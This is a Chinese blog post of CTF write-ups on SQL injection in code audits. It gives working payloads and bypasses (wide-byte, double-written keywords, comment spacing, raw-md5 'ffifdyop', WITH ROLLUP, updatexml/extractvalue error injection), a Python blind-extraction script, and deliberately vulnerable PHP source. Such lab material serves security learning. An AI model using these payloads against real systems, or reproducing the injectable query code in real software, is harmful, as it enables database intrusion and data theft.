代码审计之SQL注入

一些和sql注入有关的代码审计题目

GBK Injection

GBK Injection

单引号会被/注掉,可以用%df吃掉/封闭id

查询字段数

?id=-1%df' order by 2%23

果然两个,顺带查看其用户,库名和版本

?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23

库名sae-chinalover,再爆表

单引号会被/注掉,所以写sae-chinalover的16进制

9.png

?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23

有四个:ctf,ctf2,ctf3,ctf4,news,爆列名

?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23

ctf4里有id,flag,flag应该就在这里

?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23

1.png

bugku-xor-sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 1^1;
+-----+
| 1^1 |
+-----+
| 0 |
+-----+
1 row in set (0.01 sec)

mysql> select 1^0;
+-----+
| 1^0 |
+-----+
| 1 |
+-----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select 1^(length('\'')>0);
+--------------------+
| 1^(length('\'')>0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)

mysql> select 1^(length('')>0);
+------------------+
| 1^(length('')>0) |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)

http://123.206.87.240:9004/1ndex.php?id=1^(length(%27an%27)%3E0)#

http://123.206.87.240:9004/1ndex.php?id=-1%27%20uniunionon%20selselectect%201,(selselectect%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema%20=0x776562313030322d31%20anandd%20table_name=0x666c616731%20limit%200,1)%23

usOwycTju+FTUUzXosjr

http://123.206.87.240:9004/1ndex.php?id=-1%27%20uniunionon%20selselectect%201,(selselectect%20address%20from%20flag1)%23

Once_More.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding:utf-8
import requests

rs = requests.Session()
def flag2():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://123.206.87.240:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"
r1 = requests.get(url)
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
print "[*] : "+flag
key = 1
if key ==0:
break

if __name__ == '__main__':
flag2()

LOCATE(substr,str,pos)

返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0

flag{Bugku-sql_6s-2i-4t-bug}

Login

题目链接:http://web.jarvisoj.com:32772/

这个抓包之后response有个提示

Hint: "select * fromadminwhere password='".md5($pass,true)."'"

应该是MD5加密后的sql注入,好像没做过,百度关键字学习下

  • md5(string,raw)

string 必需。规定要计算的字符串。

raw 可选。规定十六进制或二进制输出格式:

• TRUE – 原始 16 字符二进制格式

• FALSE – 默认。32 十六进制数

绕过过程为字符串经md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串

构成的sql语句类型为:

select * fromadminwhere password=”or’xxx’

两个payload:

content: 129581926211651571912466741651878684928

md5加密为: 06da5430449f8f6f23dfc1276f722738

作hex转字符串: ?T0D??o#??’or’8.N=?

content: ffifdyop

md5加密为: 276f722736c95d99e921722cf9ed621c

作hex转字符串: ‘or’6蒥欓!r,b

输入ffifdyop

2.png

IN A Mess

源码里提示index.phps,其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

关键一行

if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

baidu下eregi函数可以%00截断,a可以用之前的data://协议实现,php://input也可,那个id得为0,但直接id=0会跳转到初始页面,我就id=0e00绕过了

构造
?a=data://text/plain,1112 is a nice lab!&id=0e00&b=%0012313

得到

3.png

好像是提示进入/^HT2mCpcvOLf这个路径

结果似乎是sql注入

查字段时一加空格就不行,baidu空格绕过,可以使用/注释\/绕过

?id=1/*0*/order/*0*/by/*0*/3%23

为三个字段,接着查库

搞半天还得双写。。

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23

4.png

查所有库

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23

只有information_schema和test

查test的表

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23

只有一个content,查列

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23

有id,context,title

最后直接查context

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23

得到flag

5.png

inject

index.php~

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
  • 反引号是为了区分MySql的保留字段与普通字符而引入的符号

  • 引号一般用在字段的值,如果字段值是字符或字符串,则要加引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select `password` from users;
+------------------------------------------+
| password |
+------------------------------------------+
| 6885858486f31043e5839c735d99457f045affd0 |
| 6885858486f31043e5839c735d99457f045affd0 |
+------------------------------------------+
2 rows in set (0.00 sec)

mysql> select 'passwdord' from users;
+-----------+
| passwdord |
+-----------+
| passwdord |
| passwdord |
+-----------+
2 rows in set (0.00 sec)

类似

1
desc `` ``;

的sql语句也是可以的

1
2
mysql> desc `users` `union select table_name from information_schema.tables`;
Empty set (0.00 sec)

所以

1
http://web.jarvisoj.com:32794/?table=test`  `union select table_name from information_schema.tables limit 1,1

查处表名为flag

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。

为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #

1
http://web.jarvisoj.com:32794/?table=flag`  `union select column_name from information_schema.columns limit 1,1

列名为flagUwillNeverKnow

payload:

1
http://web.jarvisoj.com:32794/?table=test`  `union select flagUwillNeverKnow from secret_flag limit 1,1

flag{luckyGame~}

Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 

error_reporting(0);

$link = mysql_connect('localhost', 'root', '');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}

// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}

// 执行sql
$password = $_GET['pwd'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?>

sql语句为"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

若md5后的hex转换成字符串后,如果包含'or'xxx'的字符串

则拼接后构成的语句为:

1
SELECT * FROM admin WHERE pass = ''or'xxx'

而字符串ffifdyop,md5后,276f722736c95d99e921722cf9ed621c,转为字符串'or'6?]??!r,??b

拼接后的语句为:

1
SELECT * FROM admin WHERE pass = ''or'6?]??!r,??b'

payload:

1
?pwd=ffifdyop

PCTF{R4w_md5_is_d4ng3rous}

因缺思汀的绕过

<!--source: source.txt-->发现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'";
#$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

要满足mysql_num_rows($query) == 1$key['pwd'] == $_POST['pwd']

后者使用group by pwd with rollup在查询结果中加上一行,且pwd字段的值为NULL,以此绕过$key['pwd'] == $_POST['pwd']

过滤,则使用limit # offset #来满足mysql_num_rows($query) == 1,fuzz出limit 1 offset 2

输入框输入' or 1=1 group by pwd with rollup limit 1 offset 2 #

CTF{with_rollup_interesting}

程序逻辑问题

index.txt中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

利用user处的注入返回想要的pw

例如 qwe,76d80224611fc919a5d54f0ff9fba446

username值' union select '76d80224611fc919a5d54f0ff9fba446'#

password值qwe

提交获得flag

SimCTF{youhaocongming}

Challenge1

php4fun的题

已经访问不了,本地复现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

htmlentities将单引号实体化了,所以可用\来将源单引号转义

构造SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';

payload:?username=\&password=%20or%201=1%20limit%202,3%23

s4.png

Error Injection

原来貌似是三个白帽上的题,本地复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
function filter($str){
$rstr = "";
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);
return $rstr;
}
if(!empty($message)){
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
if(filter($message) !== $message){
die("hello,sangebaimao!");
}
$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];
echo "|$id|=>|$message|<br/>";
}
}
$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";
if(!mysql_query($sql)){
print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}
?>

需要绕过单引号和preg_match

因为stripcslashes函数,可以使用1\x27创造单引号

/*!00000select*/绕过preg_match

在mysql,00000这5位代表版本号,表示只有在大于该版本的mysql中不作为注释

1
2
3
4
5
6
7
mysql> /*!00000select 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

利用updatexml报错

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

concat得到带'的数据,单引号为非法字符,因此报错,输出错误内容

?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23

s5.png

利用ExtractValue()报错

ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值

?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23

s6.png

参考: https://0x48.pw/2016/04/08/0x18/

update注入

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);

首先addslashes为单双引号、反斜线加上了\

sql语句是update,可以使用left join,extractvalue报错注入,char函数替换单引号,闭合反引号

payload:

1
?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username

注入之后为

1
2
3
update `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username`
set username ='admin'
where id=1;

关于一个sql注入注入题目的思考

Are you brave enough?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$db = mysqli_connect('localhost','web_brave','','web_brave');

$id = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);

if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected

$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);

if($q->num_rows) {
echo '<h3>Users:</h3><ul>';
while($row = $q->fetch_array()) {
echo '<li>'.$row['name'].'</li>';
}

echo '</ul>';
} else {
die('<h3>Nop.</h3>');
}

id被过滤了很多东西,key也有real_escape_string函数做转义处理,但id没有过滤

1
`

利用%00截断,

1
id=`id`;%00

列出所有name

s7.png

wanna to see your hat?

http://120.132.56.20:1515/

.svn得到源码

一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}

构造or/*1*/1#\,抓包通过sql语句发现\被转义,而’则会被\替换

在构造or/**/1#'得到flag,或更短的or(1)#'

flag{good_job_white_hat}

Naughty ads

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
}

$sql = "select * from xxx where id = '{$_GET['id']}'";
echo $sql;
$result = sql_query($_GET['id']);
?>

绕过正则?id=1%27/*1*/union%20slect%20*%20from%20flag%20%23

或者get?id=1' union select * from flag %23,同时postid=1,因为$_REQUEST,利用Environment, Get, Post, Cookie, Server的数据的加载顺序post参数覆盖同名get参数

s8.png

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/08/07/inject/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog